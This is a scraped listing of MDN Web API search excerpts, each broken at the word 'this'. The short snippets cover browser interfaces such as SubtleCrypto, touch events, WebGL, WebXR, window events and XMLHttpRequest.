this interface doesn't implement any specific methods, but inherits methods from its parent interface, svggraphicselement and implements methods from svgurireference.
Selection.modify() - Web APIs
this makes the behavior more consistent, as well as making it work the same way webkit used to work, but unfortunately they have recently changed their behavior.
... example
this example demonstrates the various granularity options for modifying a selection.
... html <p>click somewhere in
this example.
...ue="documentboundary">document boundary</option> </select> <br><br> <button>extend selection</button> javascript let select = document.queryselector('select'); let button = document.queryselector('button'); button.addeventlistener('click', modify); function modify() { let selection = window.getselection(); selection.modify('extend', 'forward', select.value); } result specifications
this method is not part of any specification.
ServiceWorkerGlobalScope - Web APIs
this interface inherits from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties from windowtimers, windowbase64, and windoweventhandlers.
...
this returns a promise that resolves to the response object representing the response to your request.
...
this algorithm is the entry point for the fetch handling handed to the service worker context.
... examples
this code snippet is from the service worker prefetch sample (see prefetch example live.) the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
SourceBuffer.appendWindowEnd - Web APIs
coded media frames with timestamps wthin
this range will be appended, whereas those outside the range will be filtered out.
... exceptions the following exceptions may be thrown when setting a new value for
this property.
... invalidstateerror
this sourcebuffer object is being updated (i.e.
... its sourcebuffer.updating property is currently true), or
this sourcebuffer has been removed from the mediasource.
SourceBuffer.appendWindowStart - Web APIs
coded media frames with timestamps wthin
this range will be appended, whereas those outside the range will be filtered out.
... exceptions the following exceptions may be thrown when setting a new value for
this property.
... invalidstateerror
this sourcebuffer object is being updated (i.e.
... its sourcebuffer.updating property is currently true), or
this sourcebuffer has been removed from the mediasource.
SpeechSynthesisErrorEvent.error - Web APIs
audio-busy the operation couldn't be completed at
this time because the user-agent couldn't access the audio output device (for example, the user may need to correct
this by closing another application.) audio-hardware the operation couldn't be completed at
this time because the user-agent couldn't identify an audio output device (for example, the user may need to connect a speaker or configure system settings.) network the operation couldn't be ...
...completed at
this time because some required network communication failed.
... synthesis-unavailable the operation couldn't be completed at
this time because no synthesis engine was available (for example, the user may need to install or configure a synthesis engine.) synthesis-failed the operation failed because the synthesis engine raised an error.
... inputform.onsubmit = function(event) { event.preventdefault(); var utter
this = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utter
this.voice = voices[i]; } } synth.speak(utter
this); utter
this.onerror = function(event) { console.error('an error has occurred with the speech synthesis: ' + e...
SubtleCrypto.exportKey() - Web APIs
raw export
this example exports an aes key as an arraybuffer containing the bytes for the key.
...*/ window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256, }, true, ["encrypt", "decrypt"] ).then((key) => { const exportbutton = document.queryselector(".raw"); exportbutton.addeventlistener("click", () => { exportcryptokey(key); }); }); pkcs #8 export
this example exports an rsa private signing key as a pkcs #8 object.
...ing a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".pkcs8"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); subjectpublickeyinfo export
this example exports an rsa public encryption key as a pem-encoded subjectpublickeyinfo object.
...der using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["encrypt", "decrypt"] ).then((keypair) => { const exportbutton = document.queryselector(".spki"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.publickey); }); }); json web key import
this code exports an ecdsa private signing key as a json web key object.
SubtleCrypto.generateKey() - Web APIs
rsa key pair generation
this code generates an rsa-oaep encryption key pair.
... let keypair = window.crypto.subtle.generatekey( { name: "rsa-oaep", moduluslength: 4096, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256" }, true, ["encrypt", "decrypt"] ); elliptic curve key pair generation
this code generates an ecdsa signing key pair.
... let keypair = window.crypto.subtle.generatekey( { name: "ecdsa", namedcurve: "p-384" }, true, ["sign", "verify"] ); hmac key generation
this code generates an hmac signing key.
... let key = window.crypto.subtle.generatekey( { name: "hmac", hash: {name: "sha-512"} }, true, ["sign", "verify"] ); aes key generation
this code generates an aes-gcm encryption key.
SubtleCrypto.verify() - Web APIs
rsassa-pkcs1-v1_5
this code uses a public key to verify a signature.
..."valid" : "invalid"); } rsa-pss
this code uses a public key to verify a signature.
..."valid" : "invalid"); } ecdsa
this code uses a public key to verify a signature.
..."valid" : "invalid"); } hmac
this code uses a secret key to verify a signature.
Text.wholeText - Web APIs
this allows to specify any text node and obtain all adjacent text as a single string.
...so you try
this: para.firstchild.data = "thru-hiking is great, but "; all set, right?
...instead, you now effectively have
this: <p>thru-hiking is great, but however, <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you’d really prefer to treat all those adjacent text nodes as a single one.
...what we have now is
this: <p>thru-hiking is great, but <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> some uses of the whole-text functionality may be better served by using node.textcontent, or the longstanding element.innerhtml; that’s fine and probably clearer in most circumstances.
TextTrackList - Web APIs
retrieve an instance of
this object with htmlmediaelement.texttracks.
... properties
this interface also inherits properties from its parent interface, eventtarget.
... methods
this interface also inherits methods from its parent interface, eventtarget.
... var texttracks = document.queryselector("video").texttracks; monitoring track count changes in
this example, we have an app that displays information about the number of channels available.
Touch.force - Web APIs
this is a value between 0.0 (no pressure) and 1.0 (the maximum amount of pressure the hardware can recognize).
... a value of 0.0 is returned if no value is known (for example the touch device does not support
this property).
... example
this example illustrates using the touch interface's touch.force property.
...
this property is a relative value of pressure applied, in the range 0.0 to 1.0, where 0.0 is no pressure, and 1.0 is the highest level of pressure the touch device is capable of sensing.
Touch.rotationAngle - Web APIs
this may be a relatively large ellipse representing the contact between a fingertip and the screen or a small area representing the tip of a stylus, for example.
... note:
this attribute has not been formally standardized.
...
this attribute is not widely implemented.
... example the touch.radiusx example includes an example of
this property's usage.
TouchEvent.altKey - Web APIs
this property is read only .
... syntax var altenabled = touchevent.altkey; return value altenabled true if the alt key is enabled for
this event; and false if the alt is not enabled.
... example
this example illustrates how to access the touchevent key modifier properties: touchevent.altkey, touchevent.ctrlkey, touchevent.metakey and touchevent.shiftkey.
... someelement.addeventlistener('touchstart', function(e) { // log the state of
this event's modifier keys console.log("altkey = " + e.altkey); console.log("ctrlkey = " + e.ctrlkey); console.log("metakey = " + e.metakey); console.log("shiftkey = " + e.shiftkey); }, false); specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent.ctrlKey - Web APIs
if
this key is enabled, the attribute's value is true.
...
this property is read only .
... syntax var ctrlenabled = touchevent.ctrlkey; return value ctrlenabled true if the control key is enabled for
this event; and false if the control is not enabled.
... example the touchevent.altkey example includes an example of
this property's usage.
TouchEvent.shiftKey - Web APIs
if
this key is enabled, the attribute's value is true.
...
this property is read only .
... syntax var shiftenabled = touchevent.shiftkey; return value shiftenabled true if the shift key is enabled for
this event; and false if the shift key is not enabled.
... example the touchevent.altkey example includes an example of
this property's usage.
TransitionEvent.initTransitionEvent() - Web APIs
note:
this method has been dropped during the standard process.
...
this value is not affected by the transition-delay property.
... elapsedtimearg is float giving the amount of time the transition has been running, in seconds, when
this event fired.
... specifications
this method is non-standard and not part of any specification, though it was present in early drafts of css transitions.
UIEvent.cancelBubble - Web APIs
the uievent.cancelbubble property indicates if event bubbling for
this event has been canceled or not.
...setting
this property to true stops the event from bubbling up the dom.
... use event.stoppropagation() instead of
this non-standard method.
... syntax event.cancelbubble = bool; var bool = event.cancelbubble; specifications
this property is not part of any specification.
UIEvent.layerY - Web APIs
this property takes scrolling of the page into account, and returns a value relative to the whole of the document, unless the event occurs inside a positioned element, where the returned value is relative to the top left of the positioned element.
...d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>
this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>
this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of
this positioned element.
...
this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of
this positioned element.
...> <form name="form_coords" id="form1"> parent element id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specifications
this property is not part of any specification.
UIEvent.pageY - Web APIs
this property takes into account any vertical scrolling of the page.
...d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>
this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>
this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of
this positioned element.
...
this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of
this positioned element.
...div id="d3"> <form name="form_coords"> parent element id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specifications
this property is not part of any specification.
UIEvent - Web APIs
several interfaces are direct or indirect descendants of
this one: mouseevent, touchevent, focusevent, keyboardevent, wheelevent, inputevent, and compositionevent.
... properties
this interface also inherits properties of its parent, event.
... methods
this interface also inherits methods of its parent, event.
...if the event has already being dispatched,
this method does nothing.
URL.createObjectURL() - Web APIs
note:
this feature is available in web workers.
... note:
this feature is not available in service workers due to its potential to create memory leaks.
...
this is no longer necessary, and browsers are removing support for doing
this.
... older versions of
this specification used createobjecturl() for mediastream objects;
this is no longer supported.
URL - Web APIs
be sure to check to see if any of your target browsers require
this to be prefixed.
... note:
this feature is available in web workers.
... search a usvstring indicating the url's parameter string; if any parameters are provided,
this string includes all of them, beginning with the leading ?
... to get the search params from the current window's url, you can do
this: // https://some.site/?id=123 const parsedurl = new url(window.location.href); console.log(parsedurl.searchparams.get("id")); // "123" the tostring() method of url just returns the value of the href property, so the constructor can be used to normalize and encode a url directly.
URLSearchParams.set() - Web APIs
if there were several matching values,
this method deletes the others.
... if the search parameter doesn't exist,
this method creates it.
... note:
this feature is available in web workers.
... line #41: comment out
this line to stop dumping the search parameters to the console (debug).
Using the User Timing API - Web APIs
this document shows how to create mark and measure performance entry types and how to use user timing methods (which are extensions of the performance interface) to retrieve and remove entries from the browser's performance timeline.
...if a specific mark name is given to
this method, only the mark(s) with that name will be removed.
...the following example demostrates both uses of
this method.
...the following examples shows both uses of
this method.
User Timing API - Web APIs
this document provides an overview of the mark and measure performance event types including the four user timing methods that extend the performance interface.
...if
this method is called with no arguments, all mark type entries will be removed from the performance timeline.
...if
this method is called with no arguments, all measure type entries will be removed from the performance timeline.
... to test your browser's support for
this api, run the perf-api-support application.
VTTCue() - Web APIs
syntax vttcue = new vttcue(starttime, endtime, text); parameters starttime
this is a double representing the initial text track cue start time.
...
this is the time, given in seconds and fractions of a second, denoting the beginning of the range of the media data to which
this cue applies.
... endtime
this is a double representing the ending time for
this text track cue.
...
this is the time at which the cue should stop being presented to the user, given in seconds and fractions thereof.
VTTCue - Web APIs
properties
this interface also inherits properties from texttrackcue.
...
this can be the string auto or a number whose interpretation depends on the value of vttcue.snaptolines.
...
this can be the string auto or a number representing the percentage of the vttcue.region, or the video size if vttcue.region is null.
...
this is used to determine what the vttcue.position is anchored to.
VideoTrackList - Web APIs
retrieve an instance of
this object with htmlmediaelement.videotracks.
... properties
this interface also inherits properties from its parent interface, eventtarget.
... methods
this interface also inherits methods from its parent interface, eventtarget.
... var videotracks = document.queryselector("video").videotracks; monitoring track count changes in
this example, we have an app that displays information about the number of channels available.
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
example
this code — a snippet taken from the full example a basic 2d webgl animation example — shows the use of enablevertexarray() to activate the attribute that will be used by the webgl layer to pass individual vertexes from the vertex buffer into the vertex shader function.
... gl.bindbuffer(gl.array_buffer, vertexbuffer); avertexposition = gl.getattriblocation(shaderprogram, "avertexposition"); gl.enablevertexattribarray(avertexposition); gl.vertexattribpointer(avertexposition, vertexnumcomponents, gl.float, false, 0, 0); gl.drawarrays(gl.triangles, 0, vertexcount);
this code snippet is taken from the function animatescene() in "a basic 2d webgl animation example." see that article for the full sample and to see the resulting animation in action.
...
this code sets the buffer of vertexes that will be used to draw the triangles of the shape by calling bindbuffer().
...
this step is not obvious, since
this binding is almost a side effect.
Clearing by clicking - Web APIs
« previousnext »
this example demonstrates how to combine user interaction with webgl graphics operations by clearing the rendering context with a random color when the user clicks.
... clearing the rendering context with random colors
this example provides a simple illustration of how to combine webgl and user interaction.
...
this is // the function call that actually does the drawing.
... function getrandomcolor() { return [math.random(), math.random(), math.random()]; } }, false); the source code of
this example is also available on github.
Detect WebGL - Web APIs
« previousnext »
this example demonstrates how to detect a webgl rendering context and reports the result to the user.
... feature-detecting webgl in
this first example we are going to check whether the browser supports webgl.
...
this is also done in other graphics {̣{glossary("api")}}, such as the canvas 2d rendering context.
..." + "your browser or device may not support webgl."; } } }, false); the source code of
this example is also available on github.
Hello GLSL - Web APIs
« previousnext »
this webgl example demonstrates a very basic glsl shader program that draws a solid color square.
... note:
this example will most likely work in all modern desktop browsers.
...but remember to read through the explanations and code on
this page, before moving on to the next.
...ntal-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of
this example is also available on github.
Scissor animation - Web APIs
animation with scissoring in
this example, we are animating squares using scissor() and clear().
...note that
this time it is the position of the square (the scissoring area) that is updated every frame (we set frame rate to roughly one every 17ms, or roughly 60fps – frames per second).
...
this is a nice demonstration of webgl as a state machine.
...ntal-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of
this example is also available on github.
Simple color animation - Web APIs
color animation with clear
this example provides a simple illustration of color animation with webgl, as well as user interaction.
...
this time we put the webgl function calls within a timer event handler.
...the timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every frame; in
this case, once per second).
... function getrandomcolor() { return [math.random(), math.random(), math.random()]; } }, false); the source code of
this example is also available on github.
Compressed texture formats - Web APIs
usage unless otherwise specified,
this article applies to both webgl 1 and 2 contexts.
...
this allows for additional detail while limiting the added video memory necessary.
...note that
this advantage doesn't translate to network bandwidth: while the formats are better than uncompressed data, they are in general far worse than standard image formats such as png and jpg.
...
this site shows which formats are supported in the used browser.
WebGL tutorial - Web APIs
this tutorial describes how to use the <canvas> element to draw webgl graphics, starting with the basics.
... in
this tutorial getting started with webgl how to set up a webgl context.
... creating 3d objects using webgl shows how to create and animate a 3d object (in
this case, a cube).
... animating textures in webgl shows how to animate textures; in
this case, by mapping an ogg video onto the faces of a rotating cube.
WebSocket.close() - Web APIs
if the connection is already closed,
this method does nothing.
...if
this parameter is not specified, a default value of 1005 is assumed.
...
this string must be no longer than 123 bytes of utf-8 text (not characters).
... note: in gecko,
this method didn't support any parameters prior to gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5).
WheelEvent - Web APIs
important:
this is the standard wheel event interface to use.
...use
this interface and avoid the non-standard ones.
... properties
this interface inherits properties from its ancestors, mouseevent, uievent, and event.
... methods
this interface doesn't define any specific methods, but inherits methods from its ancestors, mouseevent, uievent, and event.
Window: animationend event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationend the original target for
this event is the element that had the animation applied.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: animationend.
... examples
this example listens for the animationend event: window.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: window.onanimationend = () => { console.log('animation ended'); }; see a live example of
this event.
window.cancelIdleCallback() - Web APIs
browser compatibility the compatibility table in
this page is generated from structured data.
...ung internetcancelidlecallback experimentalchrome full support 47edge full support 79firefox full support 55 full support 55 full support 53disabled disabled from version 53:
this feature is behind the dom.requestidlecallback.enabled preference (needs to be set to true).
... nowebview android full support 47chrome android full support 47firefox android full support 55 full support 55 full support 53disabled disabled from version 53:
this feature is behind the dom.requestidlecallback.enabled preference (needs to be set to true).
...expect behavior to change in the future.user must explicitly enable
this feature.user must explicitly enable
this feature.
Window.close() - Web APIs
this method can only be called on windows that were opened by a script using the window.open() method.
... if the window was not opened by a script, an error similar to
this one appears in the console: scripts may not close windows that were not opened by script.
... syntax window.close(); examples closing a window opened with window.open()
this example shows a method which opens a window and a second one which closes the window;
this demonstrates how to use window.close() to close a window opened by calling window.open().
...
this is no longer the case; for security reasons, scripts are no longer allowed to close windows they didn't open.
Window.convertPointFromNodeToPage() - Web APIs
this method is non-standard and should not be used.
... please review the browser compatibility section before using
this method, as it's not widely supported (nor is the point object it uses).
... nodepoint a point object describing a point in node's coordinate system;
this point will be converted to the page's coordinate system.
... specifications
this method was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3.
window.dump() - Web APIs
however,
this use of dump is not affected by the preference mentioned below -- it will always be shown.
... it is therefore advisable to either check
this preference yourself or use a debugging preference of your own to make sure you don't send lots of debugging content to a user's console when they might not be interested in it at all.
...note:
this preference is not listed in about:config by default, you may need to create it (right-click the content area -> new -> boolean).
... specification
this is not part of any specification ...
Window.getAttention() - Web APIs
the mechanism for
this happening depends on the specific operating system and window manager.
... syntax window.getattention(); notes on windows, the taskbar button for the window flashes, if
this hasn't been disabled by the user.
...
this may be configurable as well.
...neither gecko nor internet explorer supports
this feature now for web content.
Window.onmozbeforepaint - Web APIs
obsolete since gecko 11 (firefox 11 / thunderbird 11 / seamonkey 2.8)
this feature is obsolete.
...
this is used in concert with the window.mozrequestanimationframe() method to perform smooth, synchronized animations from javascript code.
... notes
this event fires immediately before the browser window is repainted, if the event has been requested by one or more scripts calling window.mozrequestanimationframe().
...
this time is the same for all animations being run in the same browser window, including those using the window.mozrequestanimationframe() method, css transitions, and smil animations.
Window: pageshow event - Web APIs
this includes: initially loading the page navigating to the page from another page in the same window or tab restoring a frozen page on mobile oses returning to the page using the browser's forward or back buttons during the initial page load, the pageshow event fires after the load event.
... bubbles no cancelable no interface pagetransitionevent event handler property onpageshow examples
this example sets up event handlers for events listed in the array events.
..."persisted" : "not persisted"; console.log('event:', event.type, '-', ispersisted); break; default: console.log('event:', event.type); break; } }; events.foreach(eventname => window.addeventlistener(eventname, eventlogger) ); html <p>open the console and watch the output as you navigate to and from
this page.
... try loading new pages into
this tab, then navigating forward and backward through history, noting the events’ output to the log.</p> results specifications specification status comment html living standardthe definition of 'pageshow' in that specification.
Window: popstate event - Web APIs
to better understand when the popstate event is fired, consider
this simplified sequence of events that occurs when the current history entry changes due to either the user navigating the site or the history being traversed programmatically.
...
this will eventually send events such as domcontentloaded and load to the window containing the document, but the steps below will continue to execute in the meantime.
...the entry is now said to have "persisted user state."
this information the browser might add to the history session entry may include, for instance, the document's scroll position, the values of form inputs, and other such data.
... as you can see, the popstate event is nearly the last thing done in the process of navigating pages in
this way.
Window.requestFileSystem() - Web APIs
do not use
this method!
... syntax
this method is prefixed with webkit in all browsers that implement it (that is, google chrome).
... return value undefined example specifications specification status comment file and directory entries api draft draft of proposed api
this api has no official w3c or whatwg specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
Window.setCursor() - Web APIs
this function is a part of chromewindow interface.
...
this function is unavailable to web pages, which can use the css cursor property instead.
... specification
this is not part of any specification.
... browser compatibility the compatibility table in
this page is generated from structured data.
Window.showModalDialog() - Web APIs
this feature has been removed.
...
this method was removed in chrome 43 and firefox 56.
... resizable: {on | off | yes | no | 1 | 0 } if
this argument's value is on, yes, or 1, the dialog window can be resized by the user; otherwise its size is fixed.
... specification msdn page for showmodaldialog browser compatibility the compatibility table in
this page is generated from structured data.
Window: transitioncancel event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel the original target for
this event is the element that had the transition applied.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: transitioncancel.
... examples
this code adds a listener to the transitioncancel event: window.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): window.ontransitioncancel = () => { console.log('transition canceled'); }; see a live example of
this event.
Window: transitionend event - Web APIs
the original target for
this event is the element that had the transition applied.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: transitionend.
... examples
this code adds a listener to the transitionend event: window.addeventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend property instead of addeventlistener(): window.ontransitionend = () => { console.log('transition ended'); }; see a live example of
this event.
Window: transitionrun event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionrun the original target for
this event is the element that had the transition applied.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: transitionrun.
... examples
this code adds a listener to the transitionrun event: window.addeventlistener('transitionrun', () => { console.log('transition is running but hasn't necessarily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): window.ontransitionrun = () => { console.log('transition started running'); }; see a live example of
this event.
Window: transitionstart event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitionstart the original target for
this event is the element that had the transition applied.
... you can listen for
this event on the window interface to handle it in the capture or bubbling phases.
... for full details on
this event please see the page on htmlelement: transitionstart.
... examples
this code adds a listener to the transitionstart event: window.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): window.ontransitionrun = () => { console.log('started transitioning'); }; see a live example of
this event.
WindowEventHandlers.onhashchange - Web APIs
examples using an event handler
this example uses an event handler (window.onhashchange) to check the new hash value whenever it changes.
... function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; using an event listener
this example uses an event listener to log a notification whenever the hash has changed.
... function hashhandler() { console.log('the hash has changed!'); } window.addeventlistener('hashchange', hashhandler, false); overriding the hash
this function sets a new hash dynamically, setting it randomly to one of two values.
... polyfill for event.newurl and event.oldurl // let
this snippet run before your hashchange event binding code if (!window.hashchangeevent)(function(){ var lasturl = document.url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "oldurl", {enumerable:true,configurable:true,value:lasturl}); object.defineproperty(event, "newurl", {enumerable:true,configurable:true,value:document.url}); lasturl = document...
Worker - Web APIs
this also works for blob urls.
...
this is inherited from abstractworker.
...
this does not let worker finish its operations; it is halted at once.
... serviceworker instances do not support
this method.
WorkerGlobalScope.dump() - Web APIs
this is the same as firefox's window.dump, but for workers.
...for example, on mac os x you'd run it using something like
this (assuming you are inside the applications folder): ./firefox.app/contents/macos/firefox-bin -profile /tmp -no-remote now go into about:config and enable the browser.dom.window.dump.enabled pref.
... next, run a worker containing the following line: dump('test\n');
this should result in a "test" message being output to the terminal.
... specifications
this method does not appear in any specification.
XMLHttpRequest.getAllResponseHeaders() - Web APIs
note: for multipart requests,
this returns the headers from the current part of the request, not from the original channel.
... example
this example examines the headers in the request's readystatechange event handler, xmlhttprequest.onreadystatechange.
... var request = new xmlhttprequest(); request.open("get", "foo.txt", true); request.send(); request.onreadystatechange = function() { if(
this.readystate ==
this.headers_received) { // get the raw header string var headers = request.getallresponseheaders(); // convert the header string into an array // of individual headers var arr = headers.trim().split(/[\r\n]+/); // create a map of header names to values var headermap = {}; arr.foreach(function (line) { var parts = line.split(': '); var header = parts.shift(); var value = parts.join(': '...
...); headermap[header] = value; }); } } once
this is done, you can, for example: var contenttype = headermap["content-type"];
this obtains the value of the content-type header into the variable contenttype.
XMLHttpRequest.overrideMimeType() - Web APIs
this may be used, for example, to force a stream to be treated and parsed as "text/xml", even if the server does not report it as such.
...
this method must be called before calling send().
... example
this example specifies a mime type of "text/plain", overriding the server's stated type for the data being received.
...you can avoid
this by calling overridemimetype() to specify a different type.
XRPermissionDescriptor.requiredFeatures - Web APIs
this ensures that permissions are checked as applicable to ensure that those features are available upon request.
...the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for
this use case.
...
this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
... xrreferencespace usage notes examples in
this example, permissions are checked to ensure that the user has granted permission for the site or app to use immersive augmented reality mode with the local-floor reference space (presumably since the user is unlikely to start to fly).
XRPose.emulatedPosition - Web APIs
a hand controller that can directly report its position would have a value of false for
this property as well.
... if its position is computed as an offset from another object (such as by basing it off the model representing the user's body), then
this value is true.
...
this information is important because devices whose position is emulated are prone to their offset drifting relative to the real world space over time.
...
this is because emulating a position based on accelerometer inputs and models tends to introduce minor errors which accumulate over time.
XRPose.transform - Web APIs
syntax let posetransform = xrpose.transform; value an xrrigidtransform which provides the position and orientation of the xrpose relative to the xrframe to which
this xrpose is aligned.
...
this is the same pose that's returned by the frame's getpose() method.
... example
this handler for the xrsession event select handles events for tracked pointers.
... it determines the targeted object by passing the event frame's pose into a function called findtargetusingray(), then dispatches the event differently depending on the user's handedness;
this is done by comparing the value of the xrinputsource property handedness to a value in the variable user.handedness.
XRReferenceSpaceEvent() - Web APIs
currently, only the reset event is defined using
this type.
...currently,
this is always reset.
...the properties of
this object are: referencespace the xrreferencespace from which the event originated.
... transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by
this event) to the new coordiante system.
XRSession.environmentBlendMode - Web APIs
this is used to differentiate between fully-immersive vr sessions and ar sessions which render over a pass-through image of the real world, possibly partially transparently.
...
this is primarily used by fully-immersive vr headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all.
... alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see,
this offers a way to create an ar presentation using a vr device.
... in
this mode, the xrsession's renderstate.baselayer property provides relative weights of the artificial layer during the compositing process.
XRView.eye - Web APIs
for views which represent neither eye, such as monoscopic views,
this property's value is none.
... usage notes the primary purpose of
this property is to allow the correct area of any pre-rendered stereo content to be presented to the correct eye.
... for dynamically-rendered 3d content, you can usually ignore
this and simply render each of the viewer's views, one after another.
... examples
this code, from the viewer pose's renderer, iterates over the pose's views and renders them.
XRWebGLLayer.ignoreDepthValues - Web APIs
if the depth buffer is being used to determine the position of vertices,
this property is false.
...otherwise, if
this is true, the depth buffer's values are being used to assist in placing objects in the scene.
... since the xr compositor uses the depth buffer by default,
this value is false unless explicitly set otherwise when creating the xrwebgllayer using its constructor, xrwebgllayer().
...
this is demonstrated in the snippet of code below: const gllayeroptions = { ignoredepthvalues: true }; let gllayer = new xrwebgllayer(xrsession, gl, gllayeroptions); specifications specification status comment webxr device apithe definition of 'xrwebgllayer.ignoredepthvalues' in that specification.
XRWebGLLayer - Web APIs
in
this way, for example, the rendering of the left eye's point of view and of the right eye's point of view are each placed into the correct parts of the framebuffer.
... examples binding the layer to a webgl context
this snippet, taken from drawing a frame in movement, orientation, and motion: a webxr example, shows how the xrwebgllayer is obtained from the xrsession object's rendering state and is then bound as the current rendering webgl framebuffer by calling the webgl bindframebuffer() function.
...
this information includes the pose (an xrviewerpose object) that describes the position and facing direction of the viewer within the scene as well as a list of xrview objects, each representing one perspective on the scene.
... in current webxr implementations, there will never be more than two entries in
this list: one describing the position and viewing angle of the left eye and another doing the same for the right.
XRWebGLLayerInit.depth - Web APIs
this means that the only source for depth information is the vertex coordinates, and reduces the accuracy and quality of rendering, but may potentially affect the performance of rendering as well.
... usage notes
this property differs from ignoredepthvalues in that a layer created with ignoredepthvalues set to true may still have a depth buffer, but will not make use of it.
...if
this is true, then the depth buffer is either not present or is being ignored.
... if (gllayer.ignoredepthvalues) { /* not using the depth buffer */ } example in
this example, a new xrwebgllayer is created for a webxr session, xrsession, without a depth buffer.
msGetRegionContent - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer browser.
...if an element is not a region,
this method throws a domexception with the invalidaccesserror error code.
...
this is only available to regions that are document elements and not to regions that are pseudo-elements.
msRegionOverflow - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer.
...
this means that the region is the last one in the region chain and not able to fit the remaining content from the named flow.
...in particular, in
this last case, that means the region may have received no content from the named flow (for example if the region is too small to accommodate any content).
mssitemodejumplistitemremoved - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
... syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note
this event is raised once for every item that has been removed since the last time mssitemodeshowjumplist was called.
...
this event is not triggered if mssitemodeclearjumplist has been called.
Using the aria-hidden attribute - Accessibility
this technique demonstrates how to use the aria-hidden attribute.
...
